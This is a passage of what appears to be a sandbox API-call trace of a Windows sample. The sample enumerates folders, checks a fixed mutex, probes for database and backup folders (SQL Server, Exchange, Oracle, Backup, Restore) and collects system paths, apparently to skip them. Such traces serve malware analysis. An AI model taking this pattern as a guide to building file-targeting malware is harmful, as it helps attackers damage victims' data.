ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.078] GlobalLock (hMem=0x440004) returned 0x551178 [0046.078] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.078] GlobalUnlock (hMem=0x440004) returned 0 [0046.078] GlobalLock (hMem=0x440004) returned 0x551178 [0046.078] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.078] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.078] GlobalUnlock (hMem=0x440004) returned 0 [0046.078] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.078] GlobalUnlock (hMem=0x44000c) returned 0 [0046.078] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.078] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.078] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.078] GlobalUnlock (hMem=0x44000c) returned 0 [0046.078] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.078] GlobalLock (hMem=0x440004) returned 0x554190 [0046.078] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.078] GlobalUnlock (hMem=0x44000c) returned 0 [0046.078] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.078] GlobalUnlock (hMem=0x440004) returned 0 [0046.078] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.079] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.079] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.079] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.079] GlobalLock (hMem=0x440004) returned 0x552180 [0046.079] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.079] GlobalUnlock (hMem=0x440004) returned 0 [0046.079] GlobalLock (hMem=0x440004) returned 0x552180 [0046.079] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.079] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.079] GlobalUnlock (hMem=0x440004) returned 0 [0046.079] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.079] GlobalUnlock (hMem=0x44000c) returned 0 [0046.079] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.079] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.079] GetLastError () returned 0x12 [0046.079] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.079] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0046.079] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.079] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.079] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.079] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.079] GlobalUnlock (hMem=0x44000c) returned 0 [0046.079] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.080] GlobalLock (hMem=0x440004) returned 0x553188 [0046.080] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.080] GlobalUnlock (hMem=0x44000c) returned 0 [0046.080] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.080] GlobalUnlock (hMem=0x440004) returned 0 [0046.080] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.080] GlobalLock (hMem=0x440004) returned 0x551178 [0046.080] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.080] GlobalUnlock (hMem=0x440004) returned 0 [0046.080] GlobalLock (hMem=0x440004) returned 0x551178 [0046.080] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.080] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.080] GlobalUnlock (hMem=0x440004) returned 0 [0046.080] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.080] GlobalUnlock (hMem=0x44000c) returned 0 [0046.080] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.080] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned 1 [0046.080] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.080] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.080] GlobalUnlock (hMem=0x44000c) returned 0 [0046.080] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.080] GlobalLock (hMem=0x440004) returned 0x553188 [0046.080] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.080] GlobalUnlock (hMem=0x44000c) returned 0 [0046.080] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.080] GlobalUnlock (hMem=0x440004) returned 0 [0046.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뷊R붞R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.105] GetLastError () returned 0x3 [0046.105] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18㿬Q\x181")) returned 0xffffffff [0046.106] GetLastError () returned 0x2 [0046.106] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0046.106] GetLastError () returned 0x2 [0046.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0046.107] GetLastError () returned 0x2 [0046.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18셤R\x18j")) returned 0xffffffff [0046.107] GetLastError () returned 0x2 [0046.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0046.107] GetLastError () returned 0x2 [0046.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0046.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@븄R企@\x18?T\x18y")) returned 0xffffffff [0046.107] GetLastError () returned 0x2 [0046.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18\x81")) returned 0xffffffff [0046.108] GetLastError () returned 0x2 [0046.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0046.108] GetLastError () returned 0x2 [0046.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@븄R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.108] GetLastError () returned 0x2 [0046.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18\x97")) returned 0xffffffff [0046.108] GetLastError () returned 0x2 [0046.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.109] GlobalLock (hMem=0x440004) returned 0x551178 [0046.109] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.109] GlobalUnlock (hMem=0x440004) returned 0 [0046.109] GlobalLock (hMem=0x440004) returned 0x551178 [0046.109] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.109] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.109] GlobalUnlock (hMem=0x440004) returned 0 [0046.109] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.109] GlobalUnlock (hMem=0x44000c) returned 0 [0046.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.109] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.109] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.109] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.109] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.109] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.109] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.109] GlobalUnlock (hMem=0x44000c) returned 0 [0046.109] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.109] GlobalLock (hMem=0x440004) returned 0x553188 [0046.109] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.109] GlobalUnlock (hMem=0x44000c) returned 0 [0046.110] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.110] GlobalUnlock (hMem=0x440004) returned 0 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\") returned 0x39 [0046.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.110] CharLowerBuffW (in: lpsz="C:\\Program 